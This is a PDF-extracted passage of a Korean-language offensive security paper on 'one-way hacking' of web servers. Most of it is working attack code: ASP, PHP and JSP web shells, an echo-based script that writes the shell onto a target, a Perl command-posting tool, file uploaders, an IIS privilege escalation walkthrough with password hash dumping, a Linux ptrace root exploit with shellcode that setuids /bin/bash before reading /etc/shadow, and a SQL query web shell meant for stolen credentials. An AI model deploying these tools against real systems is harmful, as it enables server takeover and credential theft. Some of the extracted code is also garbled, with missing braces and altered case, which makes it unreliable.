38 On Error Resume Next Set oscript = Server.CreateObject("WSCRIPT.SHELL") Set oscriptnet = Server.CreateObject("WSCRIPT.NETWORK") Set ofilesys = Server.CreateObject("Scripting.FileSystemObject") szcmd = Request.Form(".CMD") If (szcmd <> "") Then sztempfile = "C:\" & ofilesys.gettempname( ) Call oscript.run ("cmd.exe /c " & szcmd & " > " & sztempfile, 0, True) Set ofile = ofilesys.opentextfile (sztempfile, 1, False, 0) End If %> <FORM action="<%= Request.ServerVariables("URL") %>" method="post"> <input type=text name=".cmd" size=45 value="<%= szcmd %>"> <input type=submit value="run"> </FORM> <PRE> <% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) ofile.close Call ofilesys.deletefile(sztempfile, True) End If %> </PRE>
39 ASP 기반의 command prompt 스크립트에비해이스크립트의장점은어떤 COM 콤포넌트들도쉘명령을실행하기위해 등록될필요가없다는사실이다. 어떤관리자 (administrator) 권한도역시필요하지않다 PHP - sys.php PHP 를사용해웹기반의쉘을만드는것은아주간단하다. 다음스크립트는 PHP 로짜여진웹기반의쉘이다. <FORM ACTION="sys.php" METHOD=POST> Command: <INPUT TYPE=TEXT NAME=cmd> <INPUT TYPE=SUBMIT VALUE="Run"> <FORM> <PRE> <?php if(isset($cmd)) { system($cmd);
40 ?> <PRE> JSP - cmdexec.jsp 다음 JSP 코드는 Java Server Pages 를지원하는 J2EE 어플리케이션서버를위한웹기반의 command prompt 이다. <FORM METHOD=GET ACTION='cmdexec.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getparameter("cmd"); String output = ""; if(cmd!= null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader si = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = si.readline())!= null) { output += s;
41 catch(ioexception e) { e.printstacktrace(); %> <pre> <%=output %> </pre> (Thanks to Shreeraj Shah for cmdexec.jsp) 운영체제의명령을실행하도록하는어떤웹어플리케이션프로그래밍언어도웹기반의 command prompt 를만들수있다. 4.1 Web 기반의 command prompt 설치하기 원격명령실행을사용하기위해우리는 "echo" 와같은명령들을실행할수있으며, 그리고어떤파일에그 출력물을 redirect 할수있다. "echo" 명령을여러번사용하면우리는파일을만들수있으며, 원격웹서버에한번에 한라인씩만들수있다. 여기서유일하게필요한것은우리가목표웹서버에쓰기가능한디렉토리가필요하다는 것이다 create_cmdasp.bat 다음은 섹션에서나오는 cmdasp.asp 파일을다시만들기위해 Windows DOS prompt 상에서실행될수있는일련의 명령이다. echo ^<^% > cmdasp.asp echo Dim oscript, oscriptnet, ofilesys, ofile, szcmd, sztempfile >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp
42 echo Set oscript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp echo Set oscriptnet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp echo Set ofilesys = Server.CreateObject(^"Scripting.FileSystemObject^") >> cmdasp.asp echo szcmd = Request.Form(^".CMD^") >> cmdasp.asp echo If (szcmd ^<^> ^"^") Then >> cmdasp.asp echo sztempfile = ^"C:\^" & ofilesys.gettempname() >> cmdasp.asp echo Call oscript.run(^"cmd.exe /c ^" ^& szcmd ^& ^" ^> ^" ^& sztempfile,0,true) >> cmdasp.asp echo Set ofle = ofilesys.opentextfile(sztempfile,1,false,0) >> cmdasp.asp echo End If >> cmdasp.asp echo ^%^> >> cmdasp.asp echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"post^"^> >> cmdasp.asp echo ^<input type=text name=^".cmd^" size=70 value=^"^<^%= szcmd ^%^>^"^> >> cmdasp.asp echo ^<input type=submit value=^"run^"^> >> cmdasp.asp echo ^</FORM^> >> cmdasp.asp echo ^<PRE^> >> cmdasp.asp echo ^<^% >> cmdasp.asp echo If (IsObject(oFile)) Then >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp echo ofile.close >> cmdasp.asp echo Call ofilesys.deletefile(sztempfile, True) >> cmdasp.asp echo End If >> cmdasp.asp echo ^%^> >> cmdasp.asp echo ^<^/PRE^> >> cmdasp.asp
43 위의명령들은목표웹서버상에서 "cmdasp.asp" 파일을만들기위해 post_cmd.pl 과같은스크립트를통해실행될수 있다. post_cmd.pl #!/usr/bin/perl # # post_cmd.pl # By Saumil Shah (c) net-square, 2001 # # Able to send arbitrary commands to # and have them executed on the server. This is possible only if # CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running # some.. ah.. exploit) # # Note: If %wwwroot%\cgi-bin is not available, use the /scripts/ # directory in which case, the URL becomes # # # POST can send text to a back-end web program's standard input # This program is used to feed commands to CMD.EXE on a remote # webserver via standard input, and get the output on standard # output, back to us, via HTTP. # # Note: We cannot use this with a form, because forms always # send variable=value pairs back to the back-end web program. We # want to send commands here # # Things to be careful about (and which is why this program helps) #
44 # a) Since we cannot send command line arguments to CMD.EXE (such # as CMD /C), we have to make sure that the last command we # send is an "exit", otherwise, the command shell will not die # on the remote server. # # b) Since we are sending commands via POST, we have to calculate # the number of characters sent, and use that as a Content-length # value. use IO::Socket; use IO::Handle; if(defined($argv[0])) { $server = $ARGV[0]; else { print "usage: post_cmd.pl url [proxy:port] < data\n"; print "By Saumil Shah (c) net-square 2001\n\n"; print "post_cmd.pl takes all the data to be POSTed to the URL as\n"; print "standard input. Either enter the data manually and hit ^D (unix)\n"; print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n"; exit(0); if($server =~ /\//o) { $server =~ s/ $server =~ /(.*?)\/(.*)/o; $file = '/'. $2; $server = $1;
45 else { $file = '/'; if(defined($argv[1])) { $file = $ARGV[1]; # capture proxy server $proxy_flag = 0; if(defined($argv[1])) { ($proxy_ip, $proxy_port) = split(/:/, $ARGV[1]); $proxy_flag = 1; # take the commands that we need to send at this stage # Note: if we do not start off the set of commands to be POSTed with # a blank like, any occurence of a ":" in the first line causes the POST # request to fail. This may be an IIS issue or an HTTP = ("\n"); $content_length = 0; while($line = <STDIN>) = (@commands, qq{$line); $content_length += length($line); # comment out the block below if you are meticulous # about putting your own "exit" at the end, or if you want
46 # to use this as a generic POST client $line = = (@commands, $line); $content_length += length($line); # end of block $ = 1; ($target, $port) = split(/:/, $server); if($port == 0) { $port = 80; $server = $target; httpconnect($server, $port); post($file, $server, $port, ## uncomment the while loop below ## to suppress the HTTP headers in the response #while(<s>) { # header # last if($_ eq "\r\n"); # while(<s>) { # body print $_; close(s); exit;
47 sub httpconnect { my ($server, $port) # check for proxy settings if($proxy_flag) { $server = $proxy_ip; $port = $proxy_port; chop($hostname = `hostname`); $proto = getprotobyname('tcp'); $thisaddr = gethostbyname($hostname); $thataddr = gethostbyname($server); $sin = sockaddr_in($port, $thataddr); socket(s, PF_INET, SOCK_STREAM, $proto) die "socket: $!"; connect(s, $sin) or die "connect: $!"; select(s); $ = 1; select(stdout); sub post { my ($file, $hostname, $port, my $i; # check for proxy settings if($proxy_flag) { $file = " $hostname. ":". $port. $file;
48 S->autoflush(1); print S 'POST '. $file. " HTTP/1.0\r\n"; print S 'Host: '. $hostname. "\n"; print S "Content-length: $content_length\n"; foreach $i (@commands) { print S $i; print S "\r\n"; 같은방식으로어떤임의의텍스트파일은 "echo" 와같은명령을사용하여목표서버에다시만들어질수있다. &, ", <, >,, % 등과같은쉘 meta-character 들은적절한 escape 문자들을사용해적절하게 escape 되어야한다. 대부분의 유닉스쉘에서 escape 문자는 " " 이고, Windows command shell 에서 escape 문자는 "^" 이다. 다른웹기반의 command prompt 들은같은방식으로목표웹서버에다시만들어질수있다 임의의바이너리파일다시만들기 유닉스의 Bourne shell 의경우 " xhh" 와같은포맷을이용하여어떤파일에임의의문자들을쓰기위해 "echo" 명령을 사용하는것이가능하다. 여기서 HH 란두개의 digit hexadecimal 값을의미한다. 바이너리파일은다음과같은두개의 digit hexadecimal 수의한문자열에의해제시될수있다 : echo -e "\x0b\xad\xc0\xde\x0b\xad\xc0\xde\x0b\xad\xc0\xde" > file CMD.EXE 가임의의문자들을쓸수없을지라도 Windows 상에임의의바이너리파일을다시만드는것이역시가능하다. 트릭은임의의바이너리파일을만들기위해스크립트화되어있거나또는 non-interactive mode 에서 DEBUG.EXE 를 사용하는데있다.
49 5.0 File uploader 목표웹서버에명령을실행할수있는것에덧붙여공격자는역시웹서버에파일을전송하는것에관심을가질수 있다. FTP, NFS, NetBIOS 등과같은일반적인테크닉을사용해파일을전송하는것은방화벽이이모든것을막고있기 때문에가능하지않다. 이장애를극복하기위해우리는 file uploader 를만들필요가있다 섹션에서언급된 테크닉은큰파일에대해서는전송속도가아주느릴수있다. 하지만더좋은옵션이있다. HTTP POST Multipart-MIME 방법 3 을이용하여파일을업로드하는것이가능하다. 파일의내용은 HTTP POST 리퀘스트 방식으로서버에보내진다. 서버에서는업로드스크립트가이내용들을받아들이고그것들을한파일로저장한다. HTTP Multipart-MIME POST 리퀘스트에대한자세한논의는이문서의논의밖이다. 파일업로드를수행하기위해우리는웹 서버프로세스 (nobody, IUSR_machinename, IWAM_machinename 등 ) 가파일을만들고쓸수있는권한을가진디렉토리가 필요하다. 아래는파일업로드스크립트의세가지예이다 ASP - upload.asp 및 upload.inc 다음두파일은 HTTP POST Multipart-MIME 데이터를받아파일에저장하는코드를포함하고있다. ASP 는 Multipart- MIME 로인코딩된데이터를디코딩하는내장된루틴들을포함하지않고있기때문에적절한루틴을포함하고있는 upload.inc 라는보충파일이필요하다. upload.asp <form method=post ENCTYPE="multipart/form-data"> <input type=file name="file1"> <input type="submit" Name="Action" value="upload"> </form> <hr> <!--#INCLUDE FILE="upload.inc"--> <% If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Set Fields = GetUpload() 3
50 If Fields("File1").FileName <> "" Then Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName Response.Write("<LI>Upload: " & Fields("File1").FileName) End If End If %> upload.inc <SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT> Function GetUpload() Dim Result Set Result = Nothing If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Dim CT,PosB,Boundary,Length,PosE CT=Request.ServerVariables("HTTP_Content_Type") If LCase(Left(CT, 19)) = "multipart/form-data" Then PosB = InStr(LCase(CT), "boundary=") If PosB > 0 Then Boundary = Mid(CT, PosB + 9) PosB = InStr(LCase(CT), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Dim Head,Binary Binary = Request.BinaryRead(Length) Set Result = SeparateFields(Binary, Boundary)
51 Binary = Empty Else Err.Raise 10, "GetUpload", "Zero length request." End If Else Err.Raise 11, "GetUpload", "No file sent." End If Else Err.Raise 1, "GetUpload", "Bad request method." End If Set GetUpload = Result End Function Function SeparateFields(Binary, Boundary) Dim POB,PCB,PEOH,iLB,Fields Boundary=STB(Boundary) POB=InStrB(Binary,Boundary) PCB=InStrB(POB+LenB(Boundary),Binary,Boundary,0) Set Fields=CreateObject("Scripting.Dictionary") Do While (POB > 0 And PCB > 0 And Not ilb) Dim HC,FC,bFC,C_D,FFN,SFN,C_T,Field,TCAEB PEOH=InStrB(POB+Len(Boundary),Binary,STB(vbCrLf + vbcrlf)) HC=MidB(Binary,POB+LenB(Boundary)+2,PEOH-POB-LenB(Boundary)-2) bfc=midb(binary,(peoh+4),pcb-(peoh+4)-2) GetHeadFields BTS(HC),C_D,FFN,SFN,C_T Set Field=CUF() Set FC=CBD() FC.ByteArray=bFC FC.Length=LenB(bFC) Field.Name=FFN
52 Field.ContentDisposition=C_D Field.FilePath=SFN Field.FileName=GFN(SFN) Field.ContentType=C_T Field.Length=FC.Length Set Field.Value=FC Fields.Add FFN,Field TCAEB=BTS(MidB(Binary,PCB+LenB(Boundary), 2)) ilb=tcaeb="--" If Not ilb Then POB=PCB PCB=InStrB(POB + LenB(Boundary), Binary, Boundary) End If Loop Set SeparateFields = Fields End Function Function GetHeadFields(ByVal Head, C_D, Name, FileName, C_T) C_D=LTrim(SeparateField(Head,"content-disposition:",";")) Name=(SeparateField(Head, "name=", ";")) If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2) FileName = (SeparateField(Head, "filename=", ";")) If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2) End If C_T = LTrim(SeparateField(Head, "content-type:", ";")) End Function Function SeparateField(From, ByVal sstart, ByVal send) Dim PosB, PosE, sfrom
53 sfrom = LCase(From) PosB = InStr(sFrom, sstart) If PosB > 0 Then PosB = PosB + Len(sStart) PosE = InStr(PosB, sfrom, send) If PosE = 0 Then PosE = InStr(PosB, sfrom, vbcrlf) If PosE = 0 Then PosE = Len(sFrom) + 1 SeparateField = Mid(From, PosB, PosE - PosB) Else SeparateField = Empty End If End Function Function GFN(FullPath) Dim Pos, PosF PosF = 0 For Pos = Len(FullPath) To 1 Step -1 Select Case Mid(FullPath, Pos, 1) Case "/", "\" PosF = Pos + 1 Pos = 0 End Select Next If PosF = 0 Then PosF = 1 GFN = Mid(FullPath, PosF) End Function Function BTS(Binary) Dim cl1, cl2, cl3, pl1, pl2, pl3, L cl1=1
54 cl2=1 cl3=1 L = LenB(Binary) Do While cl1<=l pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1))) cl1=cl1+1 cl3=cl3+1 if cl3>300 then pl2 = pl2 & pl3 pl3 = "" cl3 = 1 cl2 = cl2 + 1 if cl2>200 then pl1 = pl1 & pl2 pl2 = "" cl2 = 1 End If End If Loop BTS = pl1 & pl2 & pl3 End Function Function STB(String) Dim I, B For I=1 to len(string) B = B & ChrB(Asc(Mid(String,I,1))) Next STB = B End Function
55 Function vbssaveas(filename, ByteArray) Dim FS,TextStream Set FS = CreateObject("Scripting.FileSystemObject") Set TextStream = FS.CreateTextFile(FileName) TextStream.Write BTS(ByteArray) TextStream.Close End Function </SCRIPT> <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT> function CUF() { return new uf_init() function uf_init() { this.name=null; this.contentdisposition=null; this.filename=null; this.filepath=null; this.contenttype=null; this.value=null; this.length=null function CBD() { return new bin_init() function bin_init() { this.bytearray=null
56 this.length=null this.string=jsbts this.saveas=jssaveas function jsbts() { return BTS(this.ByteArray) function jssaveas(filename) { return vbssaveas(filename, this.bytearray) </SCRIPT> Perl - upload.cgi Perl 과 cgi-lib.pl 을이용하여 uploader 스크립트를만드는것은쉽다. 다음예는그방법을보여준다.
57 #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<form method='post' enctype='multipart/form-data' action='upload.cgi'>\n"; print "File path: <input type=file name=upfile>\n"; print "<input type=submit value=upload></form>\n"; &ReadParse; PHP - upload.php PHP 로 uploader 를만드는것은간단하다. <FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST> <INPUT TYPE="hidden" name="max_file_size" value=" "> <input type="file" name="userfile" size="30"> <INPUT TYPE="submit" VALUE="upload"> </FORM> <?php if($userfile_name!= "") { copy("$userfile", "./$userfile_name") or die("couldnt copy file"); echo "File name: $userfile_name<br>\n"; echo "File size: $userfile_size bytes<br>\n"; echo "File type: $userfile_type<br>\n";
58 ?> 일단우리가 HTTP 상으로명령실행과파일업로드에필요한준비를끝내면목표웹서버에우리가원하는것을아주 많이할수있다. 그것들은다음과같다. 웹서버에소스코드와설정파일들을발견할수있고, 만약존재한다면목표웹서버가존재하는내부네트워크를발견할수있고, 웹서버에공격툴을업로드하여그것을실행할수있고,... 그리고휠씬더많은것들.. 다음단계는권한상승을위한시도이며, 다음섹션은이것에대한것이다. 6.0 One-Way Privilege Escalation 섹션 4.0 에서다룬것처럼웹기반의 command prompt 들은그것들이실행되는환경하에서의프로세스권한을 물려받는다. 일반적으로, 만약웹서버의프로세스가상승된권한으로실행되고있지않다면웹기반의 command prompt 들이가진권한은제한된사용자레벨의권한이다. front end 웹서버에 plug-in 된몇몇어플리케이션서버들은 상승된권한으로실행된다. 좀더깊은공격을하기위해서는웹기반의 command prompt 와 HTTP 파일 uploader 를설치한 후대부분의경우어떤형태의권한상승이필요하다. 권한상승공격은독특한것이아니다. 슈퍼사용자든또는좀더권한을가진사용자로든권한을상승시키는결과를 가져다주는많은 exploit 들이다양한운영체제에대해존재한다. 대부분의권한상승공격은 one-way 공격테크닉에 적용될수있다. 권한상승공격에대한자세한토론은이글의범위밖이다. 우리는두가지의예, 즉 "Microsoft IIS 5.0 In- Process Table Privilege Elevation Vulnerability" 4 와 "Linux Ptrace/Setuid Exec Vulnerability" 5 에대해토론할것이다. 4
59 권한상승 exploit 이비상호적으로실행될때상호대화식의쉘, 터미널, GUI 콘솔등을요구하지않는다는것을 주의해야한다. 이예를위해우리는 one-way 방식에맞게하기위해 Linux ptrace exploit 을수정해야만했다. 6.1 Windows/IIS privilege escalation Windows 2000 서버에 IIS 5.0 이실행되고있는 www1.example.com 의경우를예로들어보자. 그리고이서버는 이미공격을당했으며, 섹션 5.0 에나온 uploader 스크립트인 upload.asp 파일이이서버에존재한다는것을가정한다 Windows 공격툴업로드 우리는웹기반의 command prompt 인 cmdasp.asp(4.0.2 섹션에서설명된것 ) 와두개의바이너리 idq.dll 과 pwdump.exe 를업로드할것이다. idq.dll 은 Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability 를 이용하는권한상승 exploit 이다. 실행을하면 Administrators 그룹에 IUSR_machinename 와 IWAM_machinename 계정을추가하고, 그래서웹기반의 command prompt 를포함해 IIS 프로세스권한으로실행되고있는모든프로세스와 어플리케이션들에게관리자권한을주게된다. pwdump.exe 는 password hash 를 dump 하는바이너리이며, 관리자권한으로 실행되는것을요구한다. 아래의스크린샷은이 3 개의바이너리가 www1.example.com 에업로드되고있는것을 보여준다. 5
60 우리는아래와같이 cmdasp.asp 를사용하고 dir 명령을이용해이파일들이성공적으로업로드되었는지확인할수 있다. 우리는이제아래와같이 "net localgroup administrators" 명령으로 Administrators 그룹의구성원들을확인할수있다. Administrators 그룹의유일한멤버는 Administrator user 이다.
61 6.1.2 idq.dll 권한상승 다음단계는 IUSR_machinename 와 IWAM_machinename 계정의권한을획득하기위해 idq.dll 을실행시키는것이다. 그 과정은아주간단하다. 다음 URL 이웹서버상에서처리되어야한다. 어떤결과도표시되지않고얼마후에 connection time out 될것이다. 이것은공격이대부분성공했을것이라는것을 나타낸다. 공격이실제로성공했는지확인하기위해 Administrators 그룹의멤버들을아래와같이다시확인해봐야한다. IUSR_W2KVM 와 IWAM_W2KVM 계정이이제 Administrators 그룹의멤버가되어있음을알수있다. 그러므로 cmdasp.asp 를 통해실행된모든명령들은 pwdump.exe 바이너리를실행하는것에의해표시된것처럼아래와같이관리자권한을 취한다.
62 이제우리는 www1.example.com 의완전한통제권을가지게되었다. 6.2 Linux/Apache 권한상승 이예를위해우리는 2.4 커널과 Apache 이실행되고있는리눅스서버인 www2.example.com 을살펴볼것이다. 앞의예에서처럼우리는이서버가이미공격을당했으며, 이서버에 섹션에서나왔던 upload.cgi 라는 uploader 스크립트가설치되어있다는것을전제로한다 Unix 공격툴업로드하기 이서버에대해서우리는 섹션에서설명된것처럼웹기반의 command prompt 인 shell.cgi 와다른파일 ptrace1.c 를업로드할것이다. ptrace1.c 는 Linux Ptrace/Setuid Exec Vulnerability 6 기반의권한상승 exploit 이다. 이 exploit 은 onw-way 용도에맞게약간수정되었다. 공격에성공하면 root 권한의 /bin/bash 에대한 setuid 퍼미션을 제공한다. 이것은어떤쉘명령도 root 권한으로실행된다는것을의미한다. 웹기반의 command prompt 인 shell.cgi 는 내부적으로 /bin/bash 를실행하고, 그래서 shell.cgi 를통해실행되는모든명령은 root 권한으로실행되게된다. 수정된 ptrace exploit 의소스는다음과같다. ptrace1.c /* 6
63 * Linux kernel ptrace/kmod local root exploit * * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. * * Wojciech Purczynski <cliph@isec.pl> * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2003 Copyright by isec Security Research * * exploit modified for one-way use by Saumil Shah */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h>
64 #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> #include <linux/user.h> char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0; void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); void putcode(unsigned long * dst) { char buf[maxpathlen + CODE_SIZE];
65 unsigned long * src; int i, len; memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1; buf[len] = '\0'; src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(ptrace_poketext, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); void sigchld(int signo) { struct user_regs_struct regs; if (gotchild++ == 0) return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(ptrace_getregs, victim, NULL, ®s) == -1) fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
66 putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(ptrace_detach, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim"); exit(0); void sigalrm(int signo) { errno = ECANCELED; fatal("[-] Fatal error"); void do_child(void) { int err; child = getpid(); victim = child + 1; signal(sigchld, sigchld); do err = ptrace(ptrace_attach, victim, 0, 0); while (err == -1 && errno == ESRCH);
67 if (err == -1) fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim); while (!gotchild) ; if (ptrace(ptrace_syscall, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n"); for(;;); void do_parent(char * progname) { struct stat st; int err; errno = 0; socket(af_security, SOCK_STREAM, 1); do { err = stat(progname, &st); while (err == 0 && (st.st_mode & S_ISUID)!= S_ISUID); if (err == -1) fatal("[-] Unable to stat myself"); alarm(0); system(progname); void prepare(void)
68 { if (geteuid() == 0) { initgroups("root", 0); setgid(0); setuid(0); // execl(_path_bshell, _PATH_BSHELL, NULL); // line below is a modification to adapt the exploit // for one-way hacking execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL); fatal("[-] Unable to spawn shell"); int main(int argc, char ** argv) { prepare(); signal(sigalrm, sigalrm); alarm(10); parent = getpid(); child = fork(); victim = child + 1; if (child == -1) fatal("[-] Unable to fork"); if (child == 0) do_child(); else do_parent(argv[0]);
69 return 0; 아래의스크린샷은이두개의파일이 www2.example.com 에업로드되고있는것을보여준다. 우리는이제 ptrace1.c 를컴파일하고, 제대로컴파일되었는지확인할것이다. 또한현재의권한에대해서도점검할 것이다. 아래의스크린샷은 shell.cgi 를통해실행된명령을보여준다. gcc -o ptrace1 ptrace1.c ls -la id
70 shell.cgi 로확장된권한은 nobody 사용자의권한이다 ptrace1.c 권한상승 다음단계는 ptrace1 을실행하는것이다. 이 exploit 은내부적으로다음명령을실행한다. /bin/chmod 4755 /bin/bash 아래의스크린샷은 ptrace1 이실행되고, /bin/bash 에대해파일이 listen 하고있는것을보여준다. 확실히 /bin/bash 바이너리에 setuid 퍼미션이적용된것을볼수있다. 다음스크린샷은두개의명령이실행된것을 보여준다. id cat /etc/shadow Shell.cgi 프로세스의 euid 가 root 인 0 임으로주목해라. 우리가 /etc/shadow 파일의내용을볼수있다는사실은 권한이상승되었음을입증한다. 이제우리는 www2.example.com 을완전히통제할수있게되었다.
71 7.0 웹기반의 SQL Command Prompt One-way 해킹은 HTTP 를통해파일전송이나원격명령실행이상의다른영역까지확장될수있다. 어떤 어플리케이션에서가장중요한구성요소들중의하나는데이터베이스이다. 이섹션은웹기반의 SQL command prompt 라고 불리는것을만들어어떻게우리가 one-way 해킹개념을상호통제데이터베이스서버에확장할수있는가를보여준다. 웹기반의 SQL command prompt 는사용자가 HTML 인터페이스를통해데이터베이스서버로연결하고, HTML 폼을통해 back-end 데이터베이스에대해 SQL 질의를할수있게한다. 웹기반의 SQL command prompt 는어떤데이터베이스가실행한웹어플리케이션이사용하는것과같은테크닉들을 사용한다. PHP 와 ASP 와같은웹프로그래밍언어들은 back-end 데이터베이스로연결하기위한기능을제공한다. 많은 경우에, 일단웹서버가공격당하게되면, 공격자는일반적으로어디에데이터베이스가있는지, 그리고그 데이터베이스에접근하기위해필요한정보 (credentials) 를확인하기위해웹서버에호스팅되고있는소스코드와 어플리케이션설정파일을살펴본다. 이것은웹기반의 SQL command prompt 를이용해데이터베이스를공격할때사용될 수있다. 7.1 SQL command prompt 분해 - sqlquery.asp 아래의이미지는 ASP 를이용해만들어진웹기반의 SQL command prompt 의예를보여준다. 이폼에는 5 개의주요입력영역이있다 : Server Name: 데이터베이스서버의상징적이름또는 IP 주소. 대부분의경우, 데이터베이스서버는웹서버시스템 과완전히다르다.
72 Database Name: 데이터베이스서버에호스팅되고있는데이터베이스들의 collection 중의데이터베이스이름 User Name: Password: 데이터베이스사용자 데이터베이스사용자의패스워드. 일반적으로, 데이터베이스의사용자와패스워드는공격을당한웹서 버에호스팅되는어플리케이션의소스코드와설정파일들을살펴보고확인할수있다. Query String: 데이터베이스에보내지고실행될 SQL query 다른두파라미터 Driver 와 Connection String 은데이터베이스에대한적절한드라이버와경로를선택하는데사용된다. Connection String 은선택의여지가있는파라미터이다. sqlquery.asp 에서는 Microsoft SQL server, ODBC 에대해 Oracle, ODBC 에대해 MySQL, Foxpro 와같은 4 개의드라이버를통한연결옵션이있다. 더많은드라이버가쉽게추가될수있다. sqlquery.asp 의소스코드는다음과같다. sqlquery.asp <%@ Language=VBScript %> <!-- SQL Queries via ASP Developed by Ketan Vyas, Net-Square v1.1 Sept 15, Added connection provider support for MySQL ODBC and Foxpro v1.0 June 16, Added connection provider support for Oracle servers v0.9 June 11, This page allows for remote SQL queries to be performed via a web page. Currently, it requires connection information for the
73 database. Present version works only for MS-SQL server. Other providers shall be included later. --> <html> <head> <title>sql Query over HTTP</title> <style type="text/css"> PRE { font-family: Monaco, Courier-new, Lucida, Courier; font-size: 10pt; color: black; </style> </head> <body> <h1><u><font face="arial" size="5" color="#000080"> SQL Query over HTTP</font></u></h1> <% IF request.form ("Message")="true" THEN strservername=request.form("servername") strdatabasename=request.form("databasename") strusername=request.form("username") strpassword=request.form("password") strquery=request.form("query") strdbsource=request.form("dbsource")
74 strother=request.form("other") strcon=request.form("constr") strdsn=request.form("dsn") Response.write("<table align= 'left' border='0'>") Response.write("<tr>") Response.write("<td>") Response.write("<form action='#' method='post'>") Response.write("<table align= 'left' border='0'>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Server Name:</font></b></td>") Response.write("<td><font face='courier New'><input type='text' name='servername' size='30' value="+ strservername +"></font></td>") Response.write("<td align='right'><b><font face='arial' size='2'> User Name:</font></b></td>") Response.write("<td><font face='courier New'><input name='username' size='14' value="+ strusername +"></font></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Database Name:</font></b></td>") Response.write("<td><font face='courier New'><input name='databasename' size='30' value="+ strdatabasename +"></font></td>") Response.write("<td align='right'><b><font face='arial' size='2'> Password:</font></b></td>") Response.write("<td><font face='courier New'><input name='password' size='14' value="+ strpassword +"></font></td>") Response.write("</tr>")
75 Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Connection String:</font></b></td>") Response.write("<td><input type='text' name='constr' size='30' value='"+ strcon +"'></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Driver:</font></b></td>") Response.write("<td><select size='1' name='dbsource'>") IF(strDbsource = "SQL Server") THEN Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>Oracle ODBC Driver</option>") Response.write("<option>Microsoft Access Driver (*.mdb)</option>") Response.write("<option>MySQL ODBC 3.51 Driver</option>") END IF IF (strdbsource = "Oracle ODBC Driver") THEN Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>SQL Server</option>") Response.write("<option>Microsoft Access Driver (*.mdb)</option>") Response.write("<option>MySQL ODBC 3.51 Driver</option>") END IF IF (strdbsource = "Microsoft Access Driver (*.mdb)") THEN Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>SQL Server</option>") Response.write("<option>Oracle ODBC Driver</option>") Response.write("<option>MySQL ODBC 3.51 Driver</option>") END IF IF (strdbsource = "MySQL ODBC 3.51 Driver") THEN
